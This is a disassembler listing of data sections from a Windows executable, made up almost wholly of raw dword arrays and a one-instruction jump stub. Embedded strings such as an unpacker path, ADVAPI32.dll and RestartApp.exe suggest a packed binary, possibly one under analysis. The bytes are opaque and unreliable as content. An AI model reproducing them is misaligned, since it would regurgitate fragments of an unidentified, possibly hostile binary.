		dd 0CF5C207Bh, 8B856913h, 37EC6000h, 0C34E7313h, 837833B9h
		dd 0AE6D04F0h, 41397009h, 0C11019ACh, 818E408h,	1C39D172h
		dd 8D770171h, 4420BAF4h, 984AD0DFh, 0A6B72900h,	0B687CFCBh
		dd 0C0C82456h, 3AF4C028h, 0F21874D5h, 3519B140h, 723C05F6h
		dd 0C8C3396Fh, 0A804E2ACh, 0F2A2C911h, 0CBB3A8C7h, 8E31003Ah
		dd 0A3935E1Ch, 4338C395h, 9F8189D4h, 97EC1070h,	0EDCB0BB7h
		dd 1CA1296Dh, 0D310761Ch, 281A07C1h, 4CF6008Ch,	0B815D8B0h
		dd 7D38F893h, 81D25Bh, 17C4A2C4h, 88B981ACh, 0F291B880h
		dd 19EE5AEh, 0C92AAB36h, 0E3619AFDh, 3060E69Ah,	2F88425Eh
		dd 0BCE000BEh, 453B2C98h, 7E0019F6h, 0AD9F28F9h, 32A7780h
		dd 72C35D10h, 0E10038CEh, 46CCC6A6h, 97F2Eh, 0F118E391h
		dd 15CABC95h, 0C874DE37h, 0B9EDFA41h, 4097999Dh, 8142BC2Ch
		dd 717B98D2h, 0BF51BAFDh, 259A489Eh, 0D444AABFh, 18F28609h
		dd 0E07687D0h, 83810C91h, 75940EEh, 4CBE5E38h, 0CAA30002h
		dd 2ED8DCA8h, 0C1363F7Dh, 0B7D75D80h, 0EBEE9091h, 15902460h
		dd 244082CBh, 80F4CA73h, 0DDA81944h, 0DBFE791Eh, 8F34EA00h
		dd 69FC55E4h, 998A65Ch,	0B280230Bh, 0EE46D40Eh,	0F00089B3h
		dd 7D4B0E5Eh, 0E5C7CC5h, 0FFB58C61h, 8F4ED120h,	1D16B24Dh
		dd 6400F3FEh, 3450FC13h, 3DCB24Ah, 39A01E26h, 512CBA4Dh
		dd 0FF0034F8h, 9DE50AE0h, 113C1EE2h, 5CFCD56Bh,	765EA07h
		dd 6A3370F3h, 6900EC20h, 2ACFC6E4h, 0F139940h, 16E8B8AFh
		dd 6B82B420h, 790BE5FDh, 22FFCEC8h, 0A139CDB4h,	981487C4h
		dd 5B3086C5h, 2BDB00F9h, 74C694Ah, 9100D6F8h, 90ADDF40h
		dd 15F35006h, 90E11B8Ah, 0C005E894h, 410665h, 0EFA338E0h
		dd 8116D052h, 6C305169h, 1E2B147Dh, 40267434h, 0C30759F5h
		dd 0D702829Ch, 0C62E7791h, 0F8C40DAh, 284C01A9h, 9EF412Dh
		dd 74082484h, 0FD3C5116h, 0E0C5510Eh, 6B16EE13h, 0F792010Eh
		dd 66C3A2D4h, 0A520C8E7h, 0BF6F209h, 0A62C2093h, 0F2FBD682h
		dd 0E072E8D1h, 0EBF70183h, 174D6BF0h, 29ADCD8Bh, 24C45098h
		dd 0C810E002h, 0E476C570h, 1B1500F4h, 0A87A4421h, 8900808Ch
		dd 0EDA52777h, 0F3D33Eh, 4F41B129h, 0AE3813D7h,	85701900h
		dd 0BEF9D6D2h, 78D57452h, 380F88Bh, 0D8ECA1FAh,	207C672Ch
		dd 28818300h, 1E85F8A9h, 72D7FA2Dh, 0F6070094h,	692A5F2h
		dd 0C830A9B9h, 109D4990h, 0AC1939D8h, 0C680B63Ah, 5B5C79FFh
		dd 67EC4C20h, 81BEC330h, 780981C4h, 0D58F008Eh,	0B851EA3Dh
		dd 85037F31h, 0E5BF1A41h, 4A5906D7h, 996801D8h,	0A804F632h
		dd 0D48F2065h, 82002302h, 4016C189h, 55884CCh, 0BF6317D7h
		dd 4F2400EBh, 3E42030Fh, 88AC2B30h, 79223468h, 5FFB3C4Ah
		dd 8B9AA380h, 8AE6A769h, 57A68C05h, 18003F8Eh, 219D22D8h
		dd 0AB4A0187h, 5EADBCCDh, 9ED4C0D5h, 0B890CA00h, 2D0FEE8Eh
		dd 5A100E0h, 0B19D6F3Ah, 926003BEh, 9BB4E789h, 10F600AFh
		dd 0B5A0E135h, 4F01B1C9h, 8B93A5C1h, 704024CAh,	0BC8338h
		dd 0EA57AB63h, 0DD8976Dh, 21C02577h, 42E940BAh,	4F74ACh
		dd 0A31B70B3h, 0B4146B22h, 0C5C6AE03h, 37F2564h, 5090E031h
		dd 94B3D9BDh, 6E5988A8h, 21582530h, 155A27h, 0EA419E0Dh
		dd 65FEE7DBh, 9D017300h, 2993C118h, 26FC007Ah, 0F9801E7Eh
		dd 77F8E6E2h, 0E0573Fh,	34FE9212h, 0EA3F7Ah, 0F18E4C10h
		dd 0E1898347h, 9B1EC2F8h, 5705B802h, 0AC4F8BEDh, 293FC52Fh
		dd 82D9B440h, 24061164h, 0FC72118h, 6BC0578Eh, 0C0DB0C43h
		dd 9983F80Ch, 49C231D2h, 0EF002CDAh, 1470947Fh,	0E0002A5h
		dd 1B01CD29h, 0E63C55h,	219F61FFh, 0B83D247Ah, 0FA140D00h
		dd 67E73F4Dh, 2B6F00C8h, 971A6CBDh, 641C5EFFh, 17C050A6h
		dd 5819B190h, 0BE69C280h, 0E8A093E8h, 3C0028Dh,	7DE0B44Fh
		dd 1DB258F6h, 4D09A400h, 89E3574Ch, 6D19380Ch, 964188h
		dd 3464B0A1h, 81A0185Fh, 939D4C0Eh, 0E90C57BEh,	282987h
		dd 7C1B3263h, 0F18FFD3Eh, 9F24A00h, 536D11C4h, 712A3B27h
		dd 19F32E80h, 8EB2851Dh, 939AE903h, 9BDC2E6h, 17FDE249h
		dd 0C0216285h, 0B897CF31h, 730CEB00h, 0E22D10F7h, 0D8B164B4h
		dd 233E4527h, 0DE32B043h, 0F19801FDh, 22A1ED31h, 6443D2E9h
		dd 67E4E003h, 70343F75h, 907E31h, 1420DB10h, 72593536h
		dd 11ECA348h, 0F73CD603h, 812511h, 0A6A3ECB7h, 908AE5h
		dd 34983CF8h, 18E7D448h, 57000898h, 0DFAED88Ch,	1FB4D16h
		dd 433410C0h, 363FD962h, 23930C5Ch, 0E1E117Eh, 9DD9D4DCh
		dd 1B77A140h, 5B01D23Bh, 2A8D5698h, 91803CCAh, 0F1A75895h
		dd 0B0093D8h, 87E6352h,	7D5A9Fh, 345346Dh, 0D8ED3F3Ah
		dd 9C48024Ch, 0A20E3D0Fh, 64A119E2h, 422C02B0h,	235BAE72h
		dd 0D0162C41h, 10A0C2DDh, 2D795553h, 481DCC26h,	7752A360h
		dd 6E3C005Eh, 4D04B9AFh, 6D1F9029h, 0D87D8EF9h,	0CC3F297Fh
		dd 47539802h, 0F8CFC032h, 9F6D004Eh, 3413E436h,	88247B42h
		dd 0F4172CB1h, 84205312h, 990BD843h, 9B1630h, 0C8B0FB00h
		dd 963C66B1h, 56259843h, 1EF2321h, 3754542h, 0D40CC562h
		dd 0F13A51B1h, 689C00A4h, 0B34056BFh, 397C98E7h, 58F5F93Fh
		dd 8C850CC9h, 0EC7D80EDh, 0C401D0A9h, 0F8222A3Fh, 0B0202D79h
		dd 600A00D4h, 37D84DFFh, 0A103C828h, 0E8199894h, 311AE92h
		dd 59DA3E51h, 68070FF4h, 35564A2Ch, 4F126DF1h, 84200830h
		dd 5EBC44h, 2A2CD74h, 36212FBBh, 29F78600h, 0A13BF6B0h
		dd 78C94801h, 22E59D80h, 770065D8h, 4AE85881h, 7FD4993h
		dd 0A13E9036h, 0BF59CCC2h, 0D3C3CC00h, 2B336FFBh, 613FF28Ch
		dd 0B59381D5h, 3601707Bh, 96002EF0h, 5C670994h,	68F4C0Fh
		dd 1DCAF31Ah, 230078FAh, 0E9566FC9h, 7B2751CBh,	1F90750Fh
		dd 40FC5966h, 1C2D47E1h, 2B053C3Ah, 8BCA5622h, 0BE28EC01h
		dd 214D5ECh, 11Ah dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_581469:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_5849FA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 6EF00000h, 25Ch, 2130000h, 0B7h, 2 dup(0)
		dd 90E90000h, 52h, 2 dup(0)
		dd 1380000h, 0FFEDh, 3 dup(0)
		dd 3C2F0000h, 0E066h, 0
		dd 800000h, 3 dup(0)
		dd 8D8D0000h, 0DC55h, 0FA030000h, 24C600B1h, 58h, 2 dup(0)
		dd 77EC0000h, 0B7h, 16h	dup(0)
		dd 0B00000h, 88h dup(0)
		dd 0FFFF0000h, 0FFFFh, 9 dup(0)
		dd 10000h, 5C980000h, 4	dup(0)
		dd 9AAE0000h, 60h, 0
		dd 4B510000h, 0AEA4005Fh, 5Bh, 7 dup(0)
		dd 77DDh, 8 dup(0)
		dd 0A4F10000h, 15A00000h, 4275h, 0AFA30000h, 129h, 4 dup(0)
		dd 5AE400C1h, 2	dup(0)
		dd 0EDE20000h, 9FC2005Eh, 79E005Dh, 0F829h, 11h	dup(0)
		dd 1F40000h, 61210000h,	2F950000h, 16Dh, 6 dup(0)
		dd 373E0000h, 0FFA3h, 31260000h, 0C550h, 4 dup(0)
		dd 78600000h, 3B6029Ah,	56D0000h, 0E5407C91h, 2DDh, 2 dup(0)
		dd 0EC720000h, 5Eh, 3 dup(0)
		dd 0DA320000h, 0EB945B95h, 7C90h, 2 dup(0)
		dd 8D200000h, 3D4400B1h, 0FFFDh, 0Dh dup(0)
		dd 0A06C0000h, 5Bh, 2 dup(0)
		dd 0A1930000h, 0ED076B5h, 0FFF000B1h, 0D1D60012h, 2772005Dh
		dd 105005Fh, 1F5D0A28h,	9391h, 188E0000h, 58h, 4 dup(0)
		dd 0DDF90000h, 7C90h, 8	dup(0)
		dd 0CBB0000h, 5Bh, 2 dup(0)
		dd 10000h, 0
		dd 0CDDA0000h, 7C81h, 230000h, 3333005Bh, 2 dup(33333333h)
		dd 3333h, 3 dup(0)
		dd 10000h, 3 dup(0)
		dd 59AF0000h, 4B1D99h, 4E6C0000h, 5Ch, 0C8640000h, 26CDh
		dd 0
		dd 0AFA30000h, 67660129h, 4E37h, 8F380000h, 9C44CFh, 7 dup(0)
		dd 980000h, 0C5D80000h,	6A67h, 0BAAC0000h, 566601A1h, 5Bh
		dd 725C0000h, 7C31h, 9BE90000h,	5 dup(0)
		dd 5B340000h, 3	dup(0)
		dd 40C60000h, 5Ch, 87C20000h, 0D79Bh, 2	dup(0)
		dd 0FFFC0000h, 0FFFFh, 3 dup(0)
		dd 0EB240000h, 9DC8005Eh, 0FFFFh, 6 dup(0)
		dd 1CC40000h, 7C4Fh, 0
		dd 0CBB0000h, 1005Bh, 0
		dd 14E80000h, 2	dup(0)
		dd 24EF0000h, 0B438h, 27h dup(0)
		dd 0A8CF0000h, 0D64400B1h, 0FFFCh, 0A6h, 0
		dd 7C0000h, 3 dup(0)
		dd 10BE0000h, 0
		dd 29180000h, 0B1h, 2 dup(0)
		dd 0FFB00000h, 0FF150162h, 1BB0h, 3 dup(0)
		dd 0A8AD0000h, 7E41h, 10000h, 2	dup(0)
		dd 0EB940000h, 0EB947C90h, 7C90h, 40CE0000h, 58h, 3F580000h
		dd 7C86h, 10000h, 5Fh, 7 dup(0)
		dd 15BB0000h, 5Fh, 2 dup(0)
		dd 0DFFF0000h, 7FEE005Bh, 0FFE6h, 9 dup(0)
		dd 12B50000h, 43B0005Ch, 0F554h, 2 dup(0)
		dd 10000h, 0
		dd 55620000h, 5Dh, 1BF60000h, 7C80h, 14410000h,	0EB94EB49h
		dd 7C90h, 9 dup(0)
		dd 0AC530000h, 0E702h, 0
		dd 0BD6A0000h, 90716Eh,	5 dup(0)
		dd 15DC0000h, 5Eh, 0EB940000h, 0EE187C90h, 7C90h, 13h dup(0)
		dd 0DA440000h, 0C246h, 5 dup(0)
		dd 68540000h, 64696D65h, 61h, 20h dup(0)
		dd 5ED50000h, 0E772005Dh, 0FFA7h, 3 dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 0EB940000h, 7C90h, 7	dup(0)
		dd 6E9C0000h, 0B4158001h, 5Dh, 0E2250000h, 3103FFA2h, 11E827C0h
		dd 3788836Fh, 1CA7h, 0
		dd 0CDDA0000h, 0EFFB7C81h, 0FFABh, 1C920000h, 5Ch, 0FA030000h
		dd 0CB8D00B1h, 5B240012h, 8 dup(0)
		dd 10000h, 2 dup(0)
		dd offset dword_53FE4C+1B4h
		dd 8 dup(0)
		dd 0D9370000h, 7DDFh, 8	dup(0)
		dd 2A9A0000h, 44AFh, 3 dup(0)
		dd 17900000h, 76F2h, 3 dup(0)
		dd 0A00000h, 0D42F0000h, 8A650000h, 0C5DAh, 0B44E0000h
		dd 5Dh,	2 dup(0)
		dd 8B280000h, 0B1h, 3 dup(0)
		dd 0F9C50000h, 0FF54DED8h, 9B470012h, 2F5B7C80h, 5Ch, 24140000h
		dd 0
		dd 0EB940000h, 7C90h, 0
		dd 0D3D20000h, 7D1FFA4h, 0E3EA0000h, 5Bh, 2 dup(0)
		dd 11B40000h, 4	dup(0)
		dd 0DC920000h, 53B9h, 188E0000h, 409A0058h, 58h, 5 dup(0)
		dd 0D3410000h, 0FFA4h, 0
		dd 12h,	700000h, 1Ch dup(0)
		dd 26600000h, 5Ch, 9 dup(0)
		dd 0F9B00000h, 2 dup(0)
		dd 0FFA40000h, 0FF600012h, 58110012h, 58h, 12h dup(0)
		dd 5CB00000h, 36AFh, 0
		dd 5380000h, 2 dup(0)
		dd 92930000h, 5Eh, 0
		dd 0EB9400B1h, 7C90h, 0FFFF0000h, 0BFFFh, 0Ah dup(0)
		dd 7A380000h, 18426296h, 0FE8000B1h, 0C4730012h, 0FFFFh
		dd 0
		dd 455F0000h, 837Fh, 27h dup(0)
		dd 0FEBC0000h, 12h, 0A06C0000h,	5Bh, 0Bh dup(0)
		dd 58E70000h, 5Bh, 0
		dd 30BA0000h, 12h, 0
		dd 409A0000h, 58h, 2 dup(0)
		dd 70000000h, 5Fh, 4 dup(0)
		dd 74710000h, 0F851h, 0
		dd 0C05B0000h, 0FFA3h, 3 dup(0)
		dd 0A06C0000h, 5Bh, 75A60000h, 5Dh, 0CDF30000h,	0C8E7h
		dd 27720000h, 5Fh, 4 dup(0)
		dd 0F6C00000h, 71h, 7717026Ch, 2CFFA1h,	64290253h
		db 5Dh,	2 dup(0)
byte_582323	db 0			; DATA XREF: ___:off_444868o
		dd 3 dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 0A69C0000h, 5Ch, 0EB940000h,	7C90h, 190000h,	9E5E0000h
		dd 0
		dd 3E0000h, 7C80h, 50140000h, 11h, 0EB940000h, 7C90h, 0
		dd 0FFB00000h, 182h, 0
		dd 0EB940000h, 7C90h, 4	dup(0)
		dd 0F6F00000h, 7981h, 82200000h, 0BC77h, 7 dup(0)
		dd 15100000h, 76F2h, 4F000000h,	0C719h,	3 dup(0)
		dd 37240000h, 17h, 60AB0000h, 0EB947C90h, 7C90h, 11110000h
		dd 1111h, 5 dup(0)
		dd 0F91F0000h, 1D23h, 0
		dd 846C0000h, 15B1Eh, 4	dup(0)
		dd 1A440000h, 0B1h, 0EB940000h,	7C90h, 8 dup(0)
		dd 78600000h, 29Ah, 2 dup(0)
		dd 5C90000h, 0FF4Eh, 2 dup(0)
		dd 8DDC0000h, 0FFFFh, 0AFA30000h, 1C080129h, 4 dup(0)
		dd 72190000h, 39DAh, 0Fh dup(0)
		dd 4C1E0000h, 0
		dd 0FF540000h, 12h, 0
		dd 1C9A0000h, 5Dh, 2 dup(0)
		dd 0D990000h, 88005Dh, 0F6FC0000h, 4C91h, 4 dup(0)
		dd 7C90h, 3 dup(0)
		dd 1CF70000h, 0B4h, 2 dup(0)
		dd 0CDF30000h, 0C8E7h, 4 dup(0)
		dd 3490000h, 0FFA3h, 6 dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 80h dup(0)
		dd 8E510000h, 0B1h, 0D10F0000h,	5Fh, 98200000h,	5Eh, 15A00000h
		dd 4275h, 0
		dd 27990000h, 5864h, 2 dup(0)
		dd 0EE1F0000h, 0C0A4h, 0
		dd 6C1D0000h, 5Fh, 0Bh dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0B1FA37B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	15h dup(0)
		dd 59740000h, 8655h, 6 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0F0FC0000h, 6A29F3F1h, 0F5Eh, 5 dup(0)
		dd 770000h, 84B116h, 2 dup(0)
		dd 640000h, 0EB940000h,	7C90h, 0
		dd 9F780000h, 60h, 6 dup(0)
		dd 35570000h, 7652h, 8C0000h, 24C60000h, 58h, 0
		dd 201A0000h, 74E5h, 0CBB0000h,	5Bh, 2 dup(0)
		dd 0B5080000h, 0B1h, 0
		dd 5AB50000h, 0DCD2F97Eh, 0FFA4h, 0ED00000h, 0B1h, 3 dup(0)
		dd 8D8D0000h, 98860D20h, 9EF6h,	2 dup(0)
		dd 0A250000h, 100B1h, 4	dup(0)
		dd 9BCC0000h, 60h, 0
		dd 29180000h, 0B1h, 2 dup(0)
		dd 0A40000h, 3 dup(0)
		dd 3F0F0000h, 0B7h, 0
		dd 0E8390000h, 9E6D1DF6h, 60h, 67h dup(0)
		dd 0A280000h, 10000h, 0EB940000h, 7C90h, 0
		dd 0B0CC0000h, 60h, 0Bh	dup(0)
		dd 0F290000h, 5Fh, 0B4CF0000h, 7C80h, 56430000h, 0Eh dup(0)
		dd 11C60000h, 0Eh dup(0)
		dd 9E5E0000h, 6526h, 2800000h, 3 dup(0)
		dd 20000000h, 5	dup(0)
		dd 5FD0253h, 0FF4Eh, 7 dup(0)
		dd 0AEA10000h, 0B1h, 2 dup(0)
		dd 9AAE0000h, 60h, 0FFB00000h, 11DA01F2h, 8D8D7C81h, 0EA36h
		dd 4 dup(0)
		dd 98200000h, 5Eh, 15A00000h, 4275h, 9B470000h,	7C80h
		dd 0FE00000h, 0F8FFh, 7C80h, 6 dup(0)
		dd 1D770000h, 7C80h, 4 dup(0)
		dd 0AFA30000h, 129h, 7C0D0000h,	768AE805h, 5Fh,	7 dup(0)
		dd 0B49B0000h, 0B30500B8h, 2 dup(0)
		dd 230000h, 5Ch, 40000h, 9E6D0000h, 60h, 0
		dd 230000h, 58h, 0
		dd 0A4DD0000h, 5Bh, 9 dup(0)
		dd 5620000h, 9400CEh, 80A00000h, 9F783A7Ah, 60h, 1Dh dup(0)
		dd 0D80000h, 39FBh, 0
		dd 805A0000h, 0FFA3h, 4D310000h, 5DFFh,	0
		dd 9EE60000h, 5Bh, 0
		dd 10000h, 5 dup(0)
		dd 0FFB00000h, 142h, 2 dup(0)
		dd 146C0000h, 836Fh, 3 dup(0)
		dd 0DDBBh, 0
		dd 22800000h, 0A0E86Ch,	0
		dd 4AF20000h, 7C81h, 3 dup(0)
		dd 680000h, 226B0000h, 60h, 6 dup(0)
		dd 94170000h, 0B1h, 0
		dd 43510000h, 2C00h, 0F4AB0000h, 2638B2B3h, 106F0000h
		dd 0C08B4AFBh, 5B20BD83h, 0A3B2h, 2 dup(0)
		dd 0AFA30000h, 129h, 0
		dd 40F60000h, 9F7800BAh, 60h, 3	dup(0)
		dd 9AAE0000h, 564C0060h, 5Bh, 0Bh dup(0)
		dd 37D50000h, 3, 2 dup(0)
		dd 280A0000h, 58h, 0
		dd 0D6870000h, 5Bh, 4 dup(0)
		dd 0FF3A0000h, 177D005Eh, 5Eh, 11h dup(0)
		dd 3E0000h, 7C80h, 5 dup(0)
		dd 19F00000h, 0B1h, 2 dup(0)
		dd 0EB940000h, 2 dup(0)
		dd 0D8270000h, 88CEh, 2Dh dup(0)
		dd 0BA8F0000h, 7CEEh, 0EB940000h, 7C90h, 3 dup(0)
		dd 0AB230000h, 590FFFFFh, 42AA005Bh, 58h, 0EB940000h, 7C90h
		dd 0EB940000h, 7C90h, 31E50000h, 0B7h, 7 dup(0)
		dd 0DB3C0000h, 8D8DEEC7h, 1E69FEF1h, 0EF9C00B7h, 0FEFAh
		dd 0FF540000h, 12h, 4 dup(0)
		dd 0EA000000h, 2 dup(0)
		dd 0EB940000h, 67E07C90h, 0ABDEFFFFh, 7C80h, 6 dup(0)
		dd 35CC0000h, 7883FFA2h, 77DDh,	3 dup(0)
		dd 8D8D0000h, 9C63h, 0
		dd 2C2E0000h, 5Bh, 0Fh dup(0)
		dd 4BA80000h, 14h, 7 dup(0)
		dd 113C0000h, 91A3005Fh, 5048005Bh, 58h, 3 dup(0)
		dd 0DC320000h, 65520000h, 72617473h, 70704174h,	6578652Eh
		dd 2 dup(0)
		dd 10000h, 0FFC40000h, 85760012h, 0AD14005Ch, 5Dh, 7E41h
		dd 3 dup(0)
		dd 25700000h, 0FFFFh, 0B7h dup(0)
		dd 10000h, 5Fh,	0C6990000h, 5Ah, 5 dup(0)
		dd 0DF3A0000h, 35D7h, 0
		dd 8EA50000h, 0ADA0097Dh, 7C80h, 0BD180000h, 4530005Bh
		dd 7CCBh, 7E80000h, 0
		dd 70F80000h, 0FF4Eh, 0
		dd 99340000h, 0EBEAFFFFh, 5Ch, 9DC80000h, 0FFFFh, 8 dup(0)
		dd 0EE180000h, 7C90h, 4	dup(0)
		dd 10000h, 633A0000h, 9938005Ch, 0FFFFh, 0
		dd 5C440000h, 0DDB5h, 3	dup(0)
		dd 18870000h, 0AF5F0000h, 0A48Fh, 0
		dd 0EB940000h, 7C90h, 3	dup(0)
		dd 0EC000000h, 11EEh, 5	dup(0)
		dd 0F4D80000h, 5Dh, 0Dh	dup(0)
		dd 0A0000000h, 0FF540002h, 12h,	5FD0000h, 0FF4Eh, 0
		dd 76720000h, 5Dh, 0
		dd 10000000h, 40h, 0Ah dup(0)
		dd 30DF0000h, 0A9C5h, 1Bh dup(0)
		dd 0EB940000h, 7C90h, 6	dup(0)
		dd 473F0000h, 119Bh, 4 dup(0)
		dd 0FFFF0000h, 647Eh, 0C2BA0000h, 0EAE6h, 0D04A0000h, 435Dh
		dd 77800000h, 40F612A4h, 0BAh, 0Dh dup(0)
		dd 780000h, 0FFB00000h,	202h, 2	dup(0)
		dd 8B0D0000h, 0B4h, 2 dup(0)
		dd 0E240000h, 5400B1h, 3 dup(0)
		dd 21210000h, 2121h, 0EB940000h, 7C90h,	4060000h, 1290B9BEh
		dd 76F2h, 3 dup(0)
		dd 10000h, 0Eh dup(0)
		dd 19200000h, 0EBE400B1h, 8B327B0Dh, 0B4h, 0
		dd 180F0000h, 0B1h, 6 dup(0)
		dd 0B7810000h, 2 dup(0)
		dd 0CC4F0000h, 0C700707Eh, 0FFFFh, 6 dup(0)
		dd 0EE180000h, 7C90h, 0Bh dup(0)
		dd 0AFA30000h, 98BA0129h, 0FFFFh, 4 dup(0)
		dd 180E0000h, 7C80h, 4 dup(0)
		dd 0FFB00000h, 192h, 2 dup(0)
		dd 0EB940000h, 7C90h, 5	dup(0)
		dd 0C40000h, 0BC700000h, 0
		dd 50A30000h, 5Fh, 4 dup(0)
		dd 82630000h, 3CEC8551h, 2BCh, 33600000h, 2AFDh, 0B1D60000h
		dd 5Fh,	0
		dd 100000h, 0FFFD005Ch,	98D8F8ECh, 0DE8Dh, 0
		dd 0EB940000h, 7C90h, 7	dup(0)
		dd 66CC0000h, 2	dup(0)
		dd 0F8F00000h, 1FFFFh, 8E510000h, 0B1h,	0Dh dup(0)
		dd 0FFFF0000h, 2753FFFFh, 0EE37005Ch, 5C9877DDh, 6C0000h
		dd 1D430000h, 5Dh, 0
		dd 4E5B0000h, 76B4h, 0
		dd 0ABC10000h, 3 dup(0)
		dd 0AFA30000h, 129h, 2 dup(0)
		dd 180F0000h, 0B1h, 8F0A0040h, 0EB94005Dh, 7C90h, 7A380000h
		dd 6296h, 0
		dd 3A890000h, 0B47Fh, 0AEB60000h, 8399005Bh, 7D60h, 0
		dd 9F780000h, 60h, 0F8EA0000h, 7D6h, 0Fh dup(0)
		dd 0AAA10000h, 52D500B1h, 5Ch, 2 dup(0)
		dd 40000h, 2 dup(0)
		dd 6E0B0000h, 25Ch, 0B63C0000h,	0FF47h,	2 dup(0)
		dd 9F780000h, 60h, 0Ch dup(0)
		dd 30000000h, 51h, 6 dup(0)
		dd 8F1D0000h, 0FFA4h, 0
		dd 2D320000h, 58h, 8 dup(0)
		dd 6BF00000h, 77DDh, 4 dup(0)
		dd 180F0000h, 398600B1h, 1441005Dh, 0EB49h, 0Dh	dup(0)
		dd 0C0880000h, 86AAh, 0EE180000h, 7C90h, 0Ah dup(0)
		dd 0FF540000h, 12h, 2 dup(0)
		dd 8FD10000h, 7E5018BDh, 0FC8Ah, 0
		dd 146C0000h, 836Fh, 0Bh dup(0)
		dd 0B3B80000h, 5Dh, 9 dup(0)
		dd 0EB940000h, 7C90h, 0EB940000h, 7C90h, 4 dup(0)
		dd 77BC0000h, 5Dh, 6 dup(0)
		dd 5EFE0000h, 12h, 2 dup(0)
		dd 0DE860000h, 4214Eh, 9B470000h, 3D207C80h, 0
		dd 0FFEF0000h, 0C55Eh, 0
		dd offset loc_42FFFA+6
		dd 5 dup(0)
		dd 0EBE70000h, 77DDh, 4	dup(0)
		dd 0CBB0000h, 49CB005Bh, 29F3005Fh, 0FE300058h,	12h, 294h
		dd 51920000h, 62B2CBC9h, 5B42h,	0BD180000h, 3B0A005Bh
		dd 76C0000h, 0FFFEh, 0F9FC0000h, 0A9h, 40h, 4 dup(0)
		dd 3E0000h, 107C80h, 5Ch, 0
		dd 10000h, 5 dup(0)
		dd 0BC0000h, 0
		dd 0EB940000h, 7C90h, 9	dup(0)
		dd 0C4D80000h, 8A3Ah, 0B30000h,	7 dup(0)
		dd 0D00000h, 2 dup(0)
		dd 0D0490000h, 0FFFFh, 2 dup(0)
		dd 31260000h, 0BDD2C550h, 0CCF4h, 5 dup(0)
		dd 20000000h, 11h, 0Ah dup(0)
		dd 0D73D0000h, 647Ch, 2	dup(0)
		dd 83C20000h, 3DD1h, 10000h, 5 dup(0)
		dd 3C0000h, 7C80h, 4 dup(0)
		dd 0EB940000h, 37797C90h, 14BEh, 2 dup(0)
		dd 36360000h, 3636h, 2 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379735Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 0FA030000h, 200B1h, 2 dup(0)
		dd 3DF80000h, 180E8A4Dh, 7C80h,	515C0000h, 0FFA4h, 0
		dd 24C60000h, 0EDE50058h, 0EA8277DDh, 0DDC7h, 0
		dd 0AFA30000h, 0EB940129h, 8C837C90h, 3D94005Bh, 2 dup(0)
		dd 10050000h, 4740h, 5 dup(0)
		dd 752B0000h, 5Fh, 0
		dd 8EA50000h, 97Dh, 3 dup(0)
		dd 9F780000h, 60h, 4 dup(0)
		dd 0FFB00000h, 10192h, 0
		dd 409A0000h, 14410058h, 0EB49h, 7 dup(0)
		dd 71910000h, 9C687ADBh, 0FFFFh, 3 dup(0)
		dd 0B4E60000h, 0F000005Fh, 4, 2	dup(0)
		dd 230000h, 58h, 420A0000h, 3C20h, 10000h, 230000h, 5Ch
		dd 2 dup(0)
		dd 40h,	0
		dd 15BB0000h, 5Fh, 0
		dd 8CC40000h, 5Ah, 3 dup(0)
		dd 4ACC0000h, 3910h, 2 dup(0)
		dd 10000h, 2 dup(0)
		dd 0B230000h, 5Ch, 6 dup(0)
		dd 889F0000h, 60h, 0FA030000h, 0B1h, 22220000h,	22222222h
		dd 2222h, 0
		dd 9F780000h, 2A090060h, 0CD787C81h, 5Bh, 0EB940000h, 547C7C90h
		dd 249018B9h, 2	dup(0)
		dd 3FA50000h, 5Ch, 3 dup(0)
		dd 0EB940000h, 7C90h, 0DA2B0000h, 0B1h,	24240000h, 2424h
		dd 3 dup(0)
		dd 183D0000h, 37EC0000h, 0B1h, 3 dup(0)
		dd 15BB0000h, 5Fh, 26Dh, 2 dup(0)
		dd 2FB60000h, 0BCA2h, 61F10000h, 30h dup(0)
		dd 0DD730000h, 7621h, 0
		dd 7B940000h, 0A8ADA4E1h, 7E41h, 0
		dd 0EB940000h, 7C90h, 29F20000h, 58h, 12B50000h, 5Ch, 2	dup(0)
		dd 0FA030000h, 0B1h, 2 dup(0)
		dd offset loc_42026A+5
		dd 0FEECh, 2 dup(0)
		dd 0A770000h, 7C81h, 7 dup(0)
		dd 6C5B0000h, 76F3h, 0BCA80000h, 5Bh, 0
		dd 7C0000h, 9 dup(0)
		dd 0D1D60000h, 5Dh, 0Bh	dup(0)
		dd 0FFE00000h, 12h, 3 dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 8E000000h, 0B9D5h, 6	dup(0)
		dd 0B7810000h, 0Ah dup(0)
		dd 79900000h, 1, 740000h, 0
		dd 7CB20000h, 7DC4h, 4 dup(0)
		dd 58BF0000h, 5Bh, 8 dup(0)
		dd 0CE0000h, 4 dup(0)
		dd 0FDB60000h, 0FFFFh, 0
		dd 26Dh, 90180000h, 3B7EFFFFh, 58h, 0C41B0000h,	77DFh
		dd 0
		dd 0FF540000h, 12h, 0
		dd 0AFA30000h, 129h, 0
		dd 846C0000h, 5B1Eh, 23540000h,	0FFFFh,	0EB940000h, 0FA377C90h
		dd 0B1h, 12h, 6	dup(0)
		dd 0B0FC0000h, 15E4h, 1Eh dup(0)
		dd 10000h, 0EB950000h, 7C90h, 1DC80000h, 5Dh, 0Ch dup(0)
		dd 0EF3C0000h, 1, 0Ch dup(0)
		dd 180F0000h, 0D28700B1h, 0A7h,	3 dup(0)
		dd 98200000h, 5Eh, 0Ah dup(0)
		dd 146C0000h, 54ED836Fh, 58h, 0
		dd 5FA80000h, 836Fh, 0EE5A0000h, 564377DDh, 5 dup(0)
		dd 0AFA30000h, 1CD50129h, 5Bh, 0
